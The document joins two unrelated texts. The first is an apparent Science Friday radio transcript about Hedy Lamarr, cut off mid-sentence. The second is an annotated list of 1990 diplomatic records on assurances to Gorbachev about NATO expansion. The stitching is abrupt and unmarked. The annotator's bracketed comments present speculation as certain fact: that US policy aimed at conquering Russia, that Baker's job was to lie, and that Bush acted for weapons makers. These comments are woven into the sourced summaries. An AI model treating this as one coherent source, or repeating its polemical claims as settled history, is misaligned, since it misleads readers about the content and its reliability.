RICHARD RHODES: Let me just add that there was an exodus from Germany and Austria with the coming of Hitler, of all sorts of artists, including actors with Jewish backgrounds. And Hedy’s family were assimilated Jews. She was raised actually in the Catholic education. But Hitler was aware that she was Jewish, and she had to get out.
So they moved to America and England and other places, and it was a very difficult transition. Very few people managed it. She was one of the few who succeeded in her new world, changing language, changing culture, having to find another way to live. So it shouldn’t be surprising, I think, that there was a great stress and strain pushing people to achievement in their new lives.
IRA FLATOW: And she had this inventive side to her that a lot of people didn’t know about. Did she go searching for equally minded folks in Hollywood who might be able to share their inventive side and work together?
RICHARD RHODES: You know, there was always in Hollywood in those days another world besides the one we know of, of talented people with artistic gifts. She used to play chess with Man Ray, the American photographer who was part of the whole surrealist movement in Paris in the ’20s. So her idea of a good time was a quiet dinner party. She would go to dinner with people like Mitzi Gaynor and her gay husband Adrian. And that was actually where she met an avant garde composer named George Antheil, who helped her with her invention of frequency hopping when it came to that point.
IRA FLATOW: He’s the one who came up with the idea of using the piano roll, which he had used in his music, to change, to hop the frequencies around like the dots on, like the slits and dots on the piano roll.
RICHARD RHODES: Exactly. They needed a way to change the frequencies automatically, and they worked out a way to have the scroll on the plane, like a miniature piano roll, and an equally timed scroll on a torpedo, which would flip the frequency from one point to another, with little holes in the scroll just like the ones on a piano roll. It was a very clever use of the existing technology, because digital technologies had not yet, of course, come along.
IRA FLATOW: Our number, 844-724-8255 if you’d like to talk about Hedy Lamarr.
And she didn’t give up her inventive capacities or her inventive desires for a long time. I mean, in Bombshell you talk about Howard Hughes fixing her up with her own little invention center, a little laboratory.
RICHARD RHODES: Yes, that’s right. Hughes loaned her a couple of chemists. She was working on a tablet that could be dropped into a canteen or a glass of water that would fizz up and make a cola drink. She thought that would help the soldiers in their travels around Europe during the war. But of course, she didn’t know any chemistry, so he loaned her a couple of chemists. Unfortunately, she said that it didn’t work. It was one of her few inventions that didn’t work, because different water qualities affected the fizziness.
IRA FLATOW: Diane, you mentioned something earlier about, you think this will be very helpful toward stimulating young women, girls, to see themselves differently. Last year we saw the massive success of Hidden Figures, another story about brilliant women in science. Is there something in the air now in Hollywood that is bringing these stories about women scientists or women interested in science out to the public?
DIANE KRUGER: Yeah, I mean I don’t know if it’s just in Hollywood, but just judging for myself, I went to school and was never encouraged to really pay attention in physics or chemistry. And I love that she had a curious mind, that she grew up with a father who encouraged her to be curious and explained to her how things work. I just took away such a positive message from her story.
And as a girl, I feel like this is the moment where we should teach our daughters that they can do anything they want. And those typically male jobs should not– you know, that’s not the law. So be curious, and if you’re curious in this, you should have examples to look up to.
RICHARD RHODES: We should mention that the Alfred P. Sloan Foundation in New York, which encourages communications on science and technology, has been behind– was behind the film Hidden Figures, supported the development of that film, and has supported the development of my book, first of all, and now of the documentary that you were discussing. They have been greatly concerned to deal with this.
IRA FLATOW: Yeah, I’ve been following this myself. Sloan is a funder of Science Friday and we have relations with them. Doron Weber over there and I have been talking about this for 15 years.
RICHARD RHODES: Yes, yes.
IRA FLATOW: This movie has gone through all kinds of hoops, has it not?
RICHARD RHODES: Always has. It’s as complicated as a good invention.
IRA FLATOW: Why is that?
RICHARD RHODES: I don’t know.
IRA FLATOW: Why is it so hard to get–
DIANE KRUGER: I think it’s–
IRA FLATOW: Yes, Diane?
DIANE KRUGER: Well let me, from my experience, because I’m trying to produce the mini series about her, it’s very difficult to explain an invention to people that want to be entertained, I guess. And Hidden Figure was, I think one of the first really great films that was both, in my opinion. And so all of a sudden there’s this appetite in Hollywood of making stories that seemed impossible to crack, because clearly there’s a hunger for it there.
But then for Hedy in particular, what’s been difficult is that her story is so big and it spans five decades. You want to tell all of it because she was– yes, she was an inventor, but she was also a brilliant woman and a great actress. And so you need the time to tell her story. And so it’s kind of a hard nut to crack.
IRA FLATOW: I’m Ira Flatow. This is Science Friday from PRI, Public Radio International. Our number, 844-724-8255. Talking with Diane Kruger and Richard Rhodes about the lifetime of Hedy Lamarr.
One of the very poignant scenes during the film in Bombshell, depicts Hedy as having a difficult relationship with her own looks. She said they were a curse, she was so good looking. She also had so much plastic surgery when she grew older. Do you think not being valued for her mind affected her value of herself?
RICHARD RHODES: You know, I think we should be clear that, again, moving from one world to another, taking those great risks, she was made wealthy and famous by her looks. But it was not her looks that she valued. She valued her mind. She once said, “I can tell you how to be glamorous. All you have to do is stand still and look stupid.” And that was the kind of conflict she had, because on the one hand, she was made rich and powerful by her looks, but on the other hand, the other part of herself was never recognized until late in her life.
IRA FLATOW: Diane, do you have a comment to make about that?
DIANE KRUGER: Yeah. I think Richard is right, and then I think as she grew older, I think she was very bitter. You know, Hollywood turned her back on her because now she wasn’t young and beautiful anymore, and she was trying to keep that facade up but clearly couldn’t. And nobody ever valued her for her mind, so she became a recluse from her own family.
It’s a sad story, and at the same time I think it’s a wonderful story that she was alive when she was finally recognized for it. But she never, for example, made any money with it. They let the patent expired before, I think it’s 20 years or 25 years. They never did anything about it, and they knew that she had it, but she could never prove it until it was too late.
IRA FLATOW: Let me go to a quick phone call to Noel in Oakland. Hi, welcome to Science Friday.
NOEL: Hey, Ira. I’m calling because my great uncle was an old-timey movie producer and director at MGM for many, many years. And I was looking through some books that I have of all the stills, and he directed a big splashy movie with Hedy Lamarr and Lana Turner and Judy Garland. They were kind of the three big stars. I think it was called Ziegfeld Girl.
And I was looking at the three women, and I was thinking about how, you know, for Judy and for what’s-her-face, the blond, things turned out so bad because of all of the negatives that came with that role as a movie star. It’s drugs and alcohol and all that. And I guess I thought Hedy’s life turned out differently. But then I just heard what Diane said, and maybe it didn’t, other than she became reclusive. But I thought maybe that kind of gave her some protection from the downfalls of that Hollywood life.
IRA FLATOW: Yeah. She had her–
NOEL: That was all.
IRA FLATOW: OK. Thanks. So she had science as her buffer, is what I guess the caller is saying. Something else to turn to in Hollywood.
We’re going to take a break. We have a lot more to talk about Hedy Lamarr with Diane Kruger, actress in Bombshell, a forthcoming TV series on Hedy’s inventive side, and Richard Rhodes, author of Hedy’s Folly: The Life and Breakthrough Inventions of Hedy Lamarr. That was out in 2011 from Knopf.
And our number, 844-724-8255. Stay with us. You can also tweet us @SciFri. We’ll be back right after this break.
I’m Ira Flatow. This is Science Friday. We’re talking with Diane Kruger, an actress and producer and voice in Bombshell, the forthcoming TV series on PBS on Hedy Lamarr and her inventive side. Richard Rhodes, author of Hedy’s Folly. Our number, 844-724-8255.
Quick correction. I want to ask if this is your misspeaking, Richard. We’ve gotten a lot of tweets coming in that you meant to say Janet Gaynor, not Mitzi Gaynor.
RICHARD RHODES: Ah. Good. Thank you.
IRA FLATOW: Hey, that’s my ballpark, misnaming people. I understand how that works. Diane, the upcoming series that you’re working on, how many parts do you see and how difficult are you going to find it to get all the stuff into a series?
DIANE KRUGER: I’m thinking we’re probably going to aim for five to six episodes. We want to start the story when she is 16, because I think her relationship with her dad is very, very important and something that I really cherish. And then, you know, we’ll see. We’re still in developing stages. But I can see it being a six times one hour.
IRA FLATOW: And you |
Gorbachev, and this offer did not include a simultaneous termination of both military alliances — the Soviets’ Warsaw Pact and America’s NATO — but instead only a promise that NATO would never absorb any additional territory, especially to the east of West Germany (and this publicly made promise was never kept). So: right from the get-go, there was no actual termination of the Cold War that was being proposed by the U.S. group, but only an arrangement that wouldn’t threaten Russia more than the then-existing split Germany did (and yet even that promise turned out to have been a lie):
Document 01
U.S. Embassy Bonn Confidential Cable to Secretary of State on the speech of the German Foreign Minister: Genscher Outlines His Vision of a New European Architecture.
1990-02-01
Source: U.S. Department of State. FOIA Reading Room. Case F-2015 10829
“This U.S. Embassy Bonn cable reporting back to Washington details both of Hans-Dietrich Genscher’s proposals – that NATO would not expand to the east, and that the former territory of the GDR in a unified Germany would be treated differently from other NATO territory.”
Document 02
Mr. Hurd to Sir C. Mallaby (Bonn). Telegraphic N. 85: Secretary of State’s Call on Herr Genscher: German Unification.
1990-02-06
Source: Documents on British Policy Overseas, series III, volume VII: German Unification, 1989-1990.
“The U.S. State Department’s subsequent view of the German unification negotiations, expressed in a 1996 cable sent to all posts, mistakenly asserts that the entire negotiation over the future of Germany limited its discussion of the future of NATO to the specific arrangements over the territory of the former GDR.” [The National Security Archives’ calling that Bill-Clinton-era State Department cable ‘mistaken’ is unsupported by, and even contradicted by, the evidence they actually present from the February 1990 negotiations.]
Document 03
Memorandum from Paul H. Nitze to George H.W. Bush about “Forum for Germany” meeting in Berlin.
1990-02-06
Source: George H. W. Bush Presidential Library
“This concise note to President Bush from one of the Cold War’s architects, Paul Nitze (based at his namesake Johns Hopkins University School of International Studies), captures the debate over the future of NATO in early 1990. Nitze relates that Central and Eastern European leaders attending the ‘Forum for Germany’ conference in Berlin were advocating the dissolution of both the superpower blocs, NATO and the Warsaw Pact, until he (and a few western Europeans) turned around that view and instead emphasized the importance of NATO as the basis of stability and U.S. presence in Europe.”
Document 04
Memorandum of Conversation between James Baker and Eduard Shevardnadze in Moscow.
1990-02-09
Source: U.S. Department of State, FOIA 199504567 (National Security Archive Flashpoints Collection, Box 38)
“Baker tells the Soviet foreign minister, ‘A neutral Germany would undoubtedly acquire its own independent nuclear capability. However, a Germany that is firmly anchored in a changed NATO, by that I mean a NATO that is far less of [a] military organization, much more of a political one, would have no need for independent capability. There would, of course, have to be iron-clad guarantees that NATO’s jurisdiction or forces would not move eastward.’”
Document 05
Memorandum of conversation between Mikhail Gorbachev and James Baker in Moscow.
1990-02-09
Source: U.S. Department of State, FOIA 199504567 (National Security Archive Flashpoints Collection, Box 38)
“Even with (unjustified) redactions by U.S. classification officers, this American transcript of perhaps the most famous U.S. assurance to the Soviets on NATO expansion confirms the Soviet transcript of the same conversation. Repeating what Bush said at the Malta summit in December 1989, Baker tells Gorbachev: ‘The President and I have made clear that we seek no unilateral advantage in this process’ of inevitable German unification. Baker goes on to say, ‘We understand the need for assurances to the countries in the East. If we maintain a presence in a Germany that is a part of NATO, there would be no extension of NATO’s jurisdiction for forces of NATO one inch to the east.’”
Document 06
Record of conversation between Mikhail Gorbachev and James Baker in Moscow. (Excerpts)
1990-02-09
Source: Gorbachev Foundation Archive, Fond 1, Opis 1.
“The key exchange takes place when Baker asks whether Gorbachev would prefer ‘a united Germany outside of NATO, absolutely independent and without American troops; or a united Germany keeping its connections with NATO, but with the guarantee that NATO’s jurisdiction or troops will not spread east of the present boundary.’ … Turning to German unification, Baker assures Gorbachev that ‘neither the president nor I intend to extract any unilateral advantages from the processes that are taking place,’ and that the Americans understand the importance for the USSR and Europe of guarantees that ‘not an inch of NATO’s present military jurisdiction will spread in an eastern direction.’”
Document 07
Memorandum of conversation between Robert Gates and Vladimir Kryuchkov in Moscow.
1990-02-09
Source: George H.W. Bush Presidential Library, NSC Scowcroft Files, Box 91128, Folder “Gorbachev (Dobrynin) Sensitive.”
“This conversation is especially important because subsequent researchers have speculated that Secretary Baker may have been speaking beyond his brief in his ‘not one inch eastward’ conversation with Gorbachev. Robert Gates, the former top CIA intelligence analyst and a specialist on the USSR, here tells his kind-of-counterpart, the head of the KGB, in his office at the Lubyanka KGB headquarters, exactly what Baker told Gorbachev that day at the Kremlin: not one inch eastward. At that point, Gates was the top deputy to the president’s national security adviser, Gen. Brent Scowcroft, so this document speaks to a coordinated approach by the U.S. government to Gorbachev.”
Document 08
Letter from James Baker to Helmut Kohl
1990-02-10
Source: Deutsche Enheit Sonderedition und den Akten des Budeskanzleramtes 1989/90
“Baker especially remarks on Gorbachev’s noncommittal response to the question about a neutral Germany versus a NATO Germany with pledges against eastward expansion.”
Document 09
Memorandum of conversation between Mikhail Gorbachev and Helmut Kohl
1990-02-10
Source: Mikhail Gorbachev i germanskii vopros, edited by Alexander Galkin and Anatoly Chernyaev, (Moscow: Ves Mir, 2006)
“Prepared by Baker’s letter and his own foreign minister’s Tutzing formula, Kohl early in the conversation assures Gorbachev, ‘We believe that NATO should not expand the sphere of its activity. We have to find a reasonable resolution. I correctly understand the security interests of the Soviet Union, and I realize that you, Mr. General Secretary, and the Soviet leadership will have to clearly explain what is happening to the Soviet people.’ Later the two leaders tussle about NATO and the Warsaw Pact, with Gorbachev commenting, ‘They say what is NATO without the FRG. But we could also ask: What is the WTO without the GDR?’ When Kohl disagrees, Gorbachev calls merely for ‘reasonable solutions that do not poison the atmosphere in our relations’ and says this part of the conversation should not be made public.”
Document 10-1
Teimuraz Stepanov-Mamaladze notes from Conference on Open Skies, Ottawa, Canada.
1990-02-12
Source: Hoover Institution Archive, Stepanov-Mamaladze Collection.
“Notes from the first days of the conference are very brief, but they contain one important line that shows that Baker offered the same assurance formula in Ottawa as he did in Moscow: ‘And if U[nited] G[ermany] stays in NATO, we should take care about nonexpansion of its jurisdiction to the East.’”
Document 10-2
Teimuraz Stepanov-Mamaladze diary, February 12, 1990.
1990-02-12
Source: Hoover Institution Archive, Stepanov-Mamaladze Collection.
“This diary entry is evidence, from a critical perspective, that the United States and West Germany did give Moscow concrete assurances about keeping NATO to its current size and scope. In fact, the diary further indicates that at least in Shevardnadze’s view those assurances amounted to a deal – which Gorbachev accepted.”
Document 10-3
Teimuraz Stepanov-Mamaladze diary, February 13, 1990.
1990-02-13
Source: Hoover Institution Archive, Stepanov-Mamaladze Collection.
“Stepanov-Mamaladze describes difficult negotiations about the exact wording on the joint statement. … ‘During the day, active games were taking place between all of them. E.A. [Shevardnadze] met with Baker five times, twice with Genscher, talked with Fischer [GDR foreign minister], Dumas [French foreign minister], and the ministers of the ATS countries,’ and finally, the text of the settlement was settled.”
Document 11
U.S. State Department, “Two Plus Four: Advantages, Possible Concerns and Rebuttal Points.”
1990-02-21
Source: State Department FOIA release, National Security Archive Flashpoints Collection, Box 38.
“The American fear was that the West Germans would make their own deal with Moscow for rapid unification, giving up some of the bottom lines for the U.S., mainly membership in NATO.”
Document 12-1
Memorandum of conversation between Vaclav Havel and George Bush in Washington.
1990-02-20
Source:
George H.W. Bush Presidential Library, Memcons and Telcons (https://bush41library.tamu.edu/)
“Bush took the opportunity to lecture the Czech leader about the value of NATO and its essential role as the basis for the U.S. presence in Europe.”
Document 12-2
Memorandum of conversation between Vaclav Havel and George Bush in Washington.
1990-02-21
Source:
George H.W. Bush Presidential Library, Memcons and Telcons (https://bush41library.tamu.edu/)
“Bush’s request to Havel to pass the message to Gorbachev that the Americans support him personally, and that ‘We will not conduct ourselves in the wrong way by saying “we win, you lose.” Emphasizing the point, Bush says, ‘tell Gorbachev that … I asked you to tell Gorbachev that we will not conduct ourselves regarding Czechoslovakia or any other country in a way that would complicate the problems he has so frankly discussed with me.’ The Czechoslovak leader adds his own caution to the Americans about how to proceed with the unification of Germany and address Soviet insecurities. Havel remarks to Bush, ‘It is a question of prestige.’”
[I think that Havel was deceived to believe that “prestige” was the issue here. This is what the U.S. team wanted the Soviet team to think was the U.S. team’s chief motivation for wanting NATO to continue. But subsequent historical events, especially the U.S. team’s proceeding under President Bill Clinton and up through Donald Trump to expand NATO to include, by now, virtually all of the Warsaw Pact and of the Soviet Union itself except for Russia, in NATO, proves that U.S. aggression against Russia has been the U.S. aim from the start, and the U.S. Government has been working assiduously at this plan for ultimate conquest. I think that Havel’s use there of the word “prestige” was very revealing of the total snookering of Gorbachev that Bush achieved. Gorbachev and his team trusted the U.S. side. Russia has paid dearly for that. If the U.S. side continues and NATO isn’t voluntarily terminated by the U.S. Government, then WW III will be the inevitable result. NATO will end either after the ‘conquest’ of Russia or before that WW-III ‘conquest’ (likelier to be actually destruction of the entire world) even happens. The world, today, will decide which. NATO should have ended in 1991, when the Soviet Union and its Warsaw Pact did.]
Document 13
Memorandum of Conversation between Helmut Kohl and George Bush at Camp David.
1990-02-24
Source:
George H.W. Bush Presidential Library, Memcons and Telcons (https://bush41library.tamu.edu/)
“The Bush administration’s main worry about German unification as the process accelerated in February 1990 was that the West Germans might make their own deal bilaterally with the Soviets (see Document 11) and might be willing to bargain away NATO membership. … The German chancellor arrives at Camp David without [West German Foreign Minister] Genscher because the latter does not entirely share the Bush-Kohl position on full German membership in NATO, and he recently angered both leaders by speaking publicly about the CSCE as the future European security mechanism.[11] … Bush’s priority is to keep the U.S. presence, especially the nuclear umbrella, in Europe: ‘if U.S. nuclear forces are withdrawn from Germany, I don’t see how we can persuade any other ally on the continent to retain these weapons.’ … [Bush wanted Lockheed and other U.S. weapons-makers to continue booming after the Cold War ‘ended’ — not for the nuclear-weapons market to end. Bush continued:] ‘We have weird thinking in our Congress today, ideas like this peace dividend. We can’t do that in these uncertain times.’ [For the U.S. team, ‘perpetual war for perpetual peace’ would be the way forward; a ‘peace dividend’ was the last thing they wanted — ever.] … At one point in the conversation, Bush seems to view his Soviet counterpart not as a partner but as a defeated enemy. Referring to talk in some Soviet quarters against Germany staying in NATO, he says: ‘To hell with that. We prevailed and they didn’t. We cannot let the Soviets clutch victory from the jaws of defeat.’” [I earlier had placed that crucial secret statement from Bush into historical perspective, under the headline, “How America Double-Crossed Russia and Shamed the West”.]
Document 14
Memorandum of conversation between George Bush and Eduard Shevardnadze in Washington.
1990-04-06
Source:
George H.W. Bush Presidential Library, Memcons and Telcons (https://bush41library.tamu.edu/)
“Shevardnadze mentions the upcoming CSCE summit and the Soviet expectation that it will discuss the new European security structures. Bush does not contradict this but ties it to the issues of the U.S. presence in Europe and German unification in NATO. He declares that he wants to ‘contribute to stability and to the creation of a Europe whole and free, or as you call it, a common European home. A[n] idea that is very close to our own.’ The Soviets — wrongly — interpret this as a declaration that the U.S. administration shares Gorbachev’s idea.”
Document 15
Sir R. Braithwaite (Moscow). Telegraphic N. 667: “Secretary of State’s Meeting with President Gorbachev.”
1990-04-11
Source: Documents on British Policy Overseas, series III, volume VII: German Unification, 1989-1990. (Foreign and Commonwealth Office.
“Ambassador Braithwaite’s telegram summarizes the meeting between Secretary of State for Foreign and Commonwealth Affairs Douglas Hurd and President Gorbachev, noting Gorbachev’s ‘expansive mood.’ Gorbachev asks the secretary to pass his appreciation for Margaret Thatcher’s letter to him after her summit with Kohl, at which, according to Gorbachev, she followed the lines of policy Gorbachev and Thatcher discussed in their recent phone call, on the basis of which the Soviet leader concluded that ‘the British and Soviet positions were very close indeed.’”
Document 16
Valentin Falin Memorandum to Mikhail Gorbachev (Excerpts)
1990-04-18
Source: Mikhail Gorbachev i germanskii vopros, edited by Alexander Galkin and Anatoly Chernyaev, (Moscow: Ves Mir, 2006)
“This memorandum from the Central Committee’s most senior expert on Germany sounds like a wake-up call for Gorbachev. Falin puts it in blunt terms: while Soviet European policy has fallen into inactivity and even ‘depression after the March 18 elections in East Germany, and Gorbachev himself has let Kohl speed up the process of unification, his compromises on Germany in NATO can only lead to the slipping away of his main goal for Europe – the common European home. ‘Summing up the past six months, one has to conclude that the “common European home,” which used to be a concrete task the countries of the continent were starting to implement, is now turning into a mirage.’ While the West is sweet-talking Gorbachev into accepting German unification in NATO, Falin notes (correctly) that ‘the Western states are already violating the consensus principle by making preliminary agreements among themselves’ regarding German unification and the future of Europe that do not include a ‘long phase of constructive development.’ He notes the West’s ‘intensive cultivation of not only NATO but also our Warsaw Pact allies’ with the goal to isolate the USSR. … He also suggests using arms control negotiations in Vienna and Geneva as leverage if the West keeps taking advantage of Soviet flexibility. … The main idea of the memo is to warn Gorbachev not to be naive about the intentions of his American partners: ‘The West is outplaying us, promising to respect the interests of the USSR, but in practice, step by step, separating us from “traditional Europe”.’”
Document 17
James A. Baker III, Memorandum for the President, “My meeting with Shevardnadze.”
1990-05-04
Source: George H. W. Bush Presidential Library, NSC Scowcroft Files, Box 91126, Folder “Gorbachev (Dobrynin) Sensitive 1989 – June 1990 [3]”
“Baker reports, ‘I also used your speech and our recognition of the need to adapt NATO, politically and militarily, and to develop CSCE to reassure Shevardnadze that the process would not yield winners and losers. Instead, it would produce a new legitimate European structure – one that would be inclusive, not exclusive.’”
Document 18
Record of conversation between Mikhail Gorbachev and James Baker in Moscow.
1990-05-18
Source: Gorbachev Foundation Archive, Fond 1
“When Gorbachev mentions the need to build new security structures to replace the blocs, Baker lets slip a personal reaction that reveals much about the real U.S. position on the subject: ‘It’s nice to talk about pan-European security structures, the role of the CSCE. It is a wonderful dream, but just a dream. In the meantime, NATO exists. …’ Gorbachev suggests that if the U.S. side insists on Germany in NATO, then he would ‘announce publicly that we want to join NATO too.’ Shevardnadze goes further, offering a prophetic observation: ‘if united Germany becomes a member of NATO, it will blow up perestroika. Our people will not forgive us. People will say that we ended up the losers, not the winners.’”
Document 19
Record of conversation between Mikhail Gorbachev and Francois Mitterrand (excerpts).
1990-05-25
Source: Mikhail Gorbachev i germanskii vopros
“[Miterrand] implies that NATO is not the key issue now and could be drowned out in further negotiations; rather, the important thing is to ensure Soviet participation in new European security system. He repeats that he is ‘personally in favor of gradually dismantling the military blocs.’ Gorbachev expresses his wariness and suspicion about U.S. effort to ‘perpetuate NATO’.” [This was extraordinary documentation that the U.S. team had deceived Gorbachev to think that they were trying to suggest to him that both military alliances — NATO and Warsaw Pact — would be ended, but that Gorbachev was “wary” and “suspicious” that maybe they didn’t really mean it. Stunning.]
Document 20
Letter from Francois Mitterrand to George Bush
1990-05-25
Source: George H.W. Bush Presidential Library, NSC Scowcroft Files
True to his word, Mitterrand writes a letter to George Bush describing Gorbachev’s predicament on the issue of German unification in NATO, calling it genuine, not ‘fake or tactical.’ He warns the American president against doing it as a fait accompli without Gorbachev’s consent implying that Gorbachev might retaliate on arms control (exactly what Mitterrand himself – and Falin earlier – suggested in his conversation). Mitterrand argues in favor of a formal ‘peace settlement in International law,’ and informs Bush that in his conversation with Gorbachev he “‘indicated that, on the Western side, we would certainly not refuse to detail the guarantees that he would have a right to expect for his country’s security.’”
Document 21
Record of conversation between Mikhail Gorbachev and George Bush. White House, Washington D.C.
1990-05-31
Source: Gorbachev Foundation Archive, Moscow, Fond 1, opis 1.[12]
“Baker repeats the nine assurances made previously by the administration, including that the United States now agrees to support the pan-European process and transformation of NATO in order to remove the Soviet perception of threat. Gorbachev’s preferred position is Germany with one foot in both NATO and the Warsaw Pact — the ‘two anchors’ — creating a kind of associated membership. Baker intervenes, saying that ‘the simultaneous obligations of one and the same country toward the WTO and NATO smack of schizophrenia.’ After the U.S. president frames the issue in the context of the Helsinki agreement, Gorbachev proposes that the German people have the right to choose their alliance — which he in essence already affirmed to Kohl during their meeting in February 1990. Here, Gorbachev significantly exceeds his brief, and incurs the ire of other members of his delegation, especially the official with the German portfolio, Valentin Falin, and Marshal Sergey Akhromeyev. Gorbachev issues a key warning about the future: ‘If the Soviet people get an impression that we are disregarded in the German question, then all the positive processes in Europe, including the negotiations in Vienna [over conventional forces], would be in serious danger. This is not just bluffing. It is simply that the people will force us to stop and to look around.’ It is a remarkable admission about domestic political pressures from the last Soviet leader.”
Document 22
Letter from Mr. Powell (N. 10) to Mr. Wall: Thatcher-Gorbachev memorandum of conversation.
1990-06-08
Source: Documents on British Policy Overseas, series III, volume VII: German Unification, 1989-1990. (Foreign and Commonwealth Office
“Gorbachev says he wants to ‘be completely frank with the Prime Minister’ that if the processes were to become one-sided, ‘there could be a very difficult situation [and the] Soviet Union would feel its security in jeopardy.’ Thatcher responds firmly that it was in nobody’s interest to put Soviet security in jeopardy: ‘we must find ways to give the Soviet Union confidence that its security would be assured.’”
Document 23
Record of Conversation between Mikhail Gorbachev and Helmut Kohl, Moscow (Excerpts).
1990-07-15
Source: Mikhail Gorbachev i germanskii vopros
“This key conversation between Chancellor Kohl and President Gorbachev sets the final parameters for German unification. Kohl talks repeatedly about the new era of relations between a united Germany and the Soviet Union, and how this relationship would contribute to European stability and security. Gorbachev demands assurances on non-expansion of NATO: ‘We must talk about the nonproliferation of NATO military structures to the territory of the GDR, and maintaining Soviet troops there for a certain transition period.’ The Soviet leader notes earlier in the conversation that NATO has already begun transforming itself. For him, the pledge of NATO non-expansion to the territory of the GDR in spirit means that NATO would not take advantage of the Soviet willingness to compromise on Germany.”
[Of course, Gorbachev never knew that Bush had instructed his agents, on the night of 24 February 1990, “To hell with that. We prevailed and they didn’t. We cannot let the Soviets clutch victory from the jaws of defeat,” indicating that for the U.S. aristocracy, conquest of an isolated Russia was the actual ultimate aim — there would be no actual end of the Cold War until the U.S. would conquer Russia itself — grab the whole thing. Gorbachev was, it is now absolutely undeniable, conned.]
Document 24
Memorandum of Telephone Conversation between Mikhail Gorbachev and George Bush
1990-07-17
Source: George H.W. Bush Presidential Library, Memcons and Telcons ((https://bush41library.tamu.edu/)
“In this phone call, Bush expands on Kohl’s security assurances and reinforces the message from the London Declaration: ‘So what we tried to do was to take account of your concerns expressed to me and others, and we did it in the following ways: by our joint declaration on non-aggression; in our invitation to you to come to NATO; in our agreement to open NATO to regular diplomatic contact with your government and those of the Eastern European countries; and our offer on assurances on the future size of the armed forces of a united Germany – an issue I know you discussed with Helmut Kohl. We also fundamentally changed our military approach on conventional and nuclear forces. We conveyed the idea of an expanded, stronger CSCE with new institutions in which the USSR can share and be part of the new Europe.’”
Document 25
September 12 Two-Plus-Four Ministerial in Moscow: Detailed account [includes text of the Treaty on the Final Settlement with Respect to Germany and Agreed Minute to the Treaty on the special military status of the GDR after unification]
1990-11-02
Source: George H.W. Bush Presidential Library, NSC Condoleezza Rice Files
“the agreed text of the final treaty on German unification. The treaty codified what Bush had earlier offered to Gorbachev – ‘special military status’ for the former GDR territory. At the last minute, British and American concerns that the language would restrict emergency NATO troop movements there forced the inclusion of a ‘minute’ that left it up to the newly unified and sovereign Germany what the meaning of the word ‘deployed’ should be. Kohl had committed to Gorbachev that only German NATO troops would be allowed on that territory after the Soviets left, and Germany stuck to that commitment, even though the ‘minute’ was meant to allow other NATO troops to traverse or exercise there at least temporarily. Subsequently, Gorbachev aides such as Pavel Palazhshenko would point to the treaty language to argue that NATO expansion violated the ‘spirit’ of this Final Settlement treaty.”
[Obviously, now, it was no “Final Settlement” at all.]
Document 26
U.S. Department of State, European Bureau: Revised NATO Strategy Paper for Discussion at Sub-Ungroup Meeting
1990-10-22
Source: George H. W. Bush Presidential Library, NSC Heather Wilson Files,
“Joint Chiefs and other agencies, posits that ‘[a] potential Soviet threat remains and constitutes one basic justification for the continuance of NATO.’ At the same time, in the discussion of potential East European membership in NATO, the review suggests that ‘In the current environment, it is not in the best interest of NATO or of the U.S. that these states be granted full NATO membership and its security guarantees.’ The United States does not ‘wish to organize an anti-Soviet coalition whose frontier is the Soviet border’ – not least because of the negative impact this might have on reforms in the USSR. NATO liaison offices would do for the present time, the group concluded, but the relationship will develop in the future. In the absence of the Cold War confrontation, NATO ‘out of area’ functions will have to be redefined.” [Clearly, they wanted the revolving door to land them in high-paid positions supported by U.S. weapons-making corporations, not just in retirements with only military pensions. Or else, they just loved war and, like Bush, didn’t want there to be any “peace dividend.”]
Document 27
James F. Dobbins, State Department European Bureau, Memorandum to National Security Council: NATO Strategy Review Paper for October 29 Discussion.
1990-10-25
Source: George H. W. Bush Presidential Library: NSC Philip Zelikow Files
“This concise memorandum comes from the State Department’s European Bureau as a cover note for briefing papers for a scheduled October 29, 1990 meeting on the issues of NATO expansion and European defense cooperation with NATO. Most important is the document’s summary of the internal debate within the Bush administration, primarily between the Defense Department (specifically the Office of the Secretary of Defense, Dick Cheney) and the State Department. On the issue of NATO expansion, OSD ‘wishes to leave the door ajar’ while State ‘prefers simply to note that discussion of expanding membership is not on the agenda….’ The Bush administration effectively adopts State’s view in its public statements, yet the Defense view would prevail in the next administration.”
[This allegation, by the National Security Archives, fundamentally misrepresents, by its underlying assumption that the Bush Administration’s statements such as that NATO would move “not one inch to the east” weren’t lies but instead reflected Bush’s actual intention. They ignore altogether Bush’s having secretly told his vassals on the crucial night of 24 February 1990, “To hell with that. We prevailed and they didn’t. We cannot let the Soviets clutch victory from the jaws of defeat.” Gorbachev believed that this was to be a win-win game; but, the U.S. side were now under secret instructions that it’s to be purely more of the win-lose game, and that now a lone Russia would end up being its ultimate loser. The despicable statement by the National Security Archives, “yet the Defense view would prevail in the next administration,” presumes that it didn’t actually already ‘prevail’ in the Bush Administration itself. It prevailed actually in George Herbert Walker Bush himself, and not only in his Defense Department. Bush brilliantly took advantage of Gorbachev’s decency and expectation that Bush, like himself, was decent. Bush lied — and his team and their successors ever since have been carrying out his vicious plan. The National Security Archives downplays to insignificance Bush’s crucial instruction to his people, “To hell with that. We prevailed and they didn’t. We cannot let the Soviets clutch victory from the jaws of defeat.” That statement, at that crucial moment, is what enables us to understand what was actually going on throughout these negotiations. The Archives’ blaming only Bill Clinton and the other Presidents after Bush is a despicable lie. And it wasn’t just “the Defense view” — Cheney — who prevailed within the Bush Administration there. Cheney, like Baker, were doing what GHW Bush had hired them to do. Baker’s job was to lie. If it weren’t, then he’d have told Gorbachev the next day not to trust what the Bush team were saying, but instead to demand everything to be put in writing in the final document, and to assume the worst regarding anything that the Bush team were refusing to put in writing in the final document. Baker was a lawyer, and a very skilled liar, who was just doing his job for Bush. For some inexplicable reason, the National Security Archives simply assumes otherwise.]
Document 28
Ambassador Rodric Braithwaite diary, 05 March 1991
1991-03-05
Source: Rodric Braithwaite personal diary
